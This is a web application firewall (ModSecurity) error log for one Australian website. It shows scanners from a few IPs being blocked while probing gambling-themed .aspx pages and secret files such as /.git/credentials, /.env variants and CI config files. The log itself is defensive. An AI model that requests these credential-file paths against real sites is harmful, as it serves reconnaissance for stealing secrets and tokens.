[Fri Feb 06 14:34:23.424049 2026] [:error] [pid 3477:tid 3501] [client 116.240.149.7:62545] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYWLb7L0Hdh40C7HYgXttQAAANY"]
[Fri Feb 06 14:34:26.446187 2026] [:error] [pid 3381:tid 3415] [client 116.240.149.7:64818] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYWLci81zqRg96ZREgjs0wAAAEI"]
[Fri Feb 06 14:34:30.076126 2026] [:error] [pid 3380:tid 3406] [client 116.240.149.7:62026] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYWLdhFAlUvBGSBK2jfcigAAABY"]
[Fri Feb 06 14:34:34.714217 2026] [:error] [pid 3381:tid 3436] [client 116.240.149.7:61547] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYWLei81zqRg96ZREgjs2gAAAFc"]
[Fri Feb 06 14:34:37.362491 2026] [:error] [pid 3513:tid 3533] [client 116.240.149.7:61836] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYWLfTSw3-HAlzpqSxxaDQAAAVI"]
[Fri Feb 06 14:34:41.316953 2026] [:error] [pid 3381:tid 3418] [client 116.240.149.7:59646] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYWLgS81zqRg96ZREgjs4QAAAEU"]
[Fri Feb 06 14:34:44.048594 2026] [:error] [pid 3477:tid 3503] [client 116.240.149.7:59850] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYWLhLL0Hdh40C7HYgXt0AAAANg"]
[Fri Feb 06 14:34:49.000086 2026] [:error] [pid 3382:tid 3448] [client 116.240.149.7:64303] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYWLiMIgU1HR0rhYrE_IfQAAAIg"]
[Fri Feb 06 14:34:52.396059 2026] [:error] [pid 3380:tid 3385] [client 116.240.149.7:62284] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYWLjBFAlUvBGSBK2jfcyQAAAAE"]
[Fri Feb 06 14:34:55.440878 2026] [:error] [pid 3513:tid 3533] [client 116.240.149.7:61474] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYWLjzSw3-HAlzpqSxxaLAAAAVI"]
[Fri Feb 06 14:34:59.546325 2026] [:error] [pid 3513:tid 3528] [client 116.240.149.7:63520] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYWLkzSw3-HAlzpqSxxaOAAAAU0"]
[Fri Feb 06 14:35:03.785285 2026] [:error] [pid 3380:tid 3391] [client 116.240.149.7:64982] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYWLlxFAlUvBGSBK2jfc1wAAAAc"]
[Fri Feb 06 14:35:06.785050 2026] [:error] [pid 3380:tid 3386] [client 116.240.149.7:62722] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYWLmhFAlUvBGSBK2jfc5QAAAAI"]
[Fri Feb 06 14:35:10.351845 2026] [:error] [pid 3513:tid 3529] [client 116.240.149.7:61279] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYWLnjSw3-HAlzpqSxxaRgAAAU4"]
[Fri Feb 06 14:35:12.936867 2026] [:error] [pid 3477:tid 3479] [client 116.240.149.7:61330] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYWLoLL0Hdh40C7HYgXt8wAAAMA"]
[Fri Feb 06 14:35:18.274626 2026] [:error] [pid 3380:tid 3384] [client 116.240.149.7:65148] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYWLphFAlUvBGSBK2jfc9gAAAAA"]
[Fri Feb 06 14:57:09.488312 2026] [:error] [pid 3477:tid 3498] [client 43.159.136.201:34662] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYWQxbL0Hdh40C7HYgX3wwAAANM"]
[Fri Feb 06 15:31:12.641760 2026] [:error] [pid 3380:tid 3384] [client 3.113.181.128:34708] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/style.css"] [unique_id "aYWYwBFAlUvBGSBK2jcEBAAAAAA"]
[Fri Feb 06 15:31:13.120517 2026] [:error] [pid 3381:tid 3425] [client 3.113.181.128:34724] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/Ionicons/css/ionicons.min.css"] [unique_id "aYWYwS81zqRg96ZREggFmAAAAEw"]
[Fri Feb 06 15:31:14.049998 2026] [:error] [pid 3380:tid 3404] [client 3.113.181.128:34734] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/font-awesome/css/font-awesome.min.css"] [unique_id "aYWYwhFAlUvBGSBK2jcEDAAAABQ"]
[Fri Feb 06 15:31:14.529596 2026] [:error] [pid 3381:tid 3430] [client 3.113.181.128:34746] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/responsive.css"] [unique_id "aYWYwi81zqRg96ZREggFnQAAAFE"]
[Fri Feb 06 15:31:15.009476 2026] [:error] [pid 3513:tid 3532] [client 3.113.181.128:34756] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/animate.css"] [unique_id "aYWYwzSw3-HAlzpqSxx4QQAAAVE"]
[Fri Feb 06 15:31:15.488462 2026] [:error] [pid 3477:tid 3480] [client 3.113.181.128:34766] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/skins/_all-skins.min.css"] [unique_id "aYWYw7L0Hdh40C7HYgUKOwAAAME"]
[Fri Feb 06 15:31:15.965190 2026] [:error] [pid 3477:tid 3498] [client 3.113.181.128:34776] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/AdminLTE.min.css"] [unique_id "aYWYw7L0Hdh40C7HYgUKQAAAANM"]
[Fri Feb 06 15:31:16.450505 2026] [:error] [pid 3477:tid 3485] [client 3.113.181.128:34778] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/iCheck/all.css"] [unique_id "aYWYxLL0Hdh40C7HYgUKQQAAAMY"]
[Fri Feb 06 15:31:16.930159 2026] [:error] [pid 3380:tid 3394] [client 3.113.181.128:34794] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/select2/dist/css/select2.min.css"] [unique_id "aYWYxBFAlUvBGSBK2jcEFAAAAAo"]
[Fri Feb 06 15:31:17.409486 2026] [:error] [pid 3513:tid 3534] [client 3.113.181.128:34802] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/animation.css"] [unique_id "aYWYxTSw3-HAlzpqSxx4RQAAAVM"]
[Fri Feb 06 15:31:18.078277 2026] [:error] [pid 3382:tid 3464] [client 3.113.181.128:34816] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYWYxsIgU1HR0rhYrE_iTgAAAJg"]
[Fri Feb 06 15:31:18.555356 2026] [:error] [pid 3513:tid 3530] [client 3.113.181.128:34822] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aYWYxjSw3-HAlzpqSxx4SQAAAU8"]
[Fri Feb 06 15:31:19.037292 2026] [:error] [pid 3477:tid 3482] [client 3.113.181.128:34836] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/credentials"] [unique_id "aYWYx7L0Hdh40C7HYgUKSwAAAMM"]
[Fri Feb 06 15:31:19.516072 2026] [:error] [pid 3380:tid 3408] [client 3.113.181.128:34850] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config.bak"] [unique_id "aYWYxxFAlUvBGSBK2jcEHQAAABg"]
[Fri Feb 06 15:31:19.995407 2026] [:error] [pid 3513:tid 3533] [client 3.113.181.128:34854] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config.old"] [unique_id "aYWYxzSw3-HAlzpqSxx4SwAAAVI"]
[Fri Feb 06 15:31:20.473980 2026] [:error] [pid 3382:tid 3462] [client 3.113.181.128:34864] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.git-credentials"] [unique_id "aYWYyMIgU1HR0rhYrE_iVgAAAJY"]
[Fri Feb 06 15:31:20.955938 2026] [:error] [pid 3381:tid 3431] [client 3.113.181.128:34874] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.gitconfig"] [unique_id "aYWYyC81zqRg96ZREggFpQAAAFI"]
[Fri Feb 06 15:31:21.432191 2026] [:error] [pid 3381:tid 3428] [client 3.113.181.128:34876] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.bitbucket/config"] [unique_id "aYWYyS81zqRg96ZREggFqQAAAE8"]
[Fri Feb 06 15:31:21.919458 2026] [:error] [pid 3513:tid 3536] [client 3.113.181.128:34882] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.bitbucket/credentials"] [unique_id "aYWYyTSw3-HAlzpqSxx4TwAAAVU"]
[Fri Feb 06 15:31:22.400462 2026] [:error] [pid 3381:tid 3426] [client 3.113.181.128:39186] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bitbucket/config"] [unique_id "aYWYyi81zqRg96ZREggFqgAAAE0"]
[Fri Feb 06 15:31:22.883363 2026] [:error] [pid 3382:tid 3450] [client 3.113.181.128:39200] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bitbucket/credentials"] [unique_id "aYWYysIgU1HR0rhYrE_iYQAAAIo"]
[Fri Feb 06 15:31:23.360664 2026] [:error] [pid 3382:tid 3455] [client 3.113.181.128:39204] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bitbucket-pipelines.yml"] [unique_id "aYWYy8IgU1HR0rhYrE_iYgAAAI8"]
[Fri Feb 06 15:31:23.833240 2026] [:error] [pid 3513:tid 3518] [client 3.113.181.128:39206] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.github/dependabot.yml"] [unique_id "aYWYyzSw3-HAlzpqSxx4UwAAAUM"]
[Fri Feb 06 15:31:24.309636 2026] [:error] [pid 3381:tid 3418] [client 3.113.181.128:39222] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.github/settings.yml"] [unique_id "aYWYzC81zqRg96ZREggFrgAAAEU"]
[Fri Feb 06 15:31:24.784310 2026] [:error] [pid 3380:tid 3403] [client 3.113.181.128:39238] [client 3.113.181.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.github/workflows/main.yml"] [unique_id "aYWYzBFAlUvBGSBK2jcEMgAAABM"]
[Fri Feb 06 15:31:25.262847 2026] [:error] [pid 3513:tid 3526] [client 3.113.181.128:39244] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aYWYzTSw3-HAlzpqSxx4VQAAAUs"]
[Fri Feb 06 15:31:25.742566 2026] [:error] [pid 3477:tid 3503] [client 3.113.181.128:39260] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aYWYzbL0Hdh40C7HYgUKWAAAANg"]
[Fri Feb 06 15:31:26.222201 2026] [:error] [pid 3513:tid 3531] [client 3.113.181.128:39274] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aYWYzjSw3-HAlzpqSxx4WwAAAVA"]
[Fri Feb 06 15:31:26.700837 2026] [:error] [pid 3380:tid 3389] [client 3.113.181.128:39284] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aYWYzhFAlUvBGSBK2jcENAAAAAU"]
[Fri Feb 06 15:31:27.183781 2026] [:error] [pid 3380:tid 3395] [client 3.113.181.128:39294] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aYWYzxFAlUvBGSBK2jcENwAAAAs"]
[Fri Feb 06 15:31:27.664461 2026] [:error] [pid 3477:tid 3494] [client 3.113.181.128:39296] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aYWYz7L0Hdh40C7HYgUKZQAAAM8"]
[Fri Feb 06 15:31:28.147389 2026] [:error] [pid 3382:tid 3454] [client 3.113.181.128:39304] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aYWY0MIgU1HR0rhYrE_iaAAAAI4"]
[Fri Feb 06 15:31:28.625398 2026] [:error] [pid 3381:tid 3436] [client 3.113.181.128:39316] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aYWY0C81zqRg96ZREggFvAAAAFc"]
[Fri Feb 06 15:31:29.102268 2026] [:error] [pid 3381:tid 3424] [client 3.113.181.128:39328] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.dist"] [unique_id "aYWY0S81zqRg96ZREggFwAAAAEs"]
[Fri Feb 06 15:31:29.582350 2026] [:error] [pid 3477:tid 3496] [client 3.113.181.128:39344] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYWY0bL0Hdh40C7HYgUKagAAANE"]
[Fri Feb 06 15:31:30.060650 2026] [:error] [pid 3381:tid 3418] [client 3.113.181.128:39360] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.php"] [unique_id "aYWY0i81zqRg96ZREggFxAAAAEU"]
[Fri Feb 06 15:31:30.541958 2026] [:error] [pid 3382:tid 3449] [client 3.113.181.128:39364] [client 3.113.181.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aYWY0sIgU1HR0rhYrE_ibgAAAIk"]
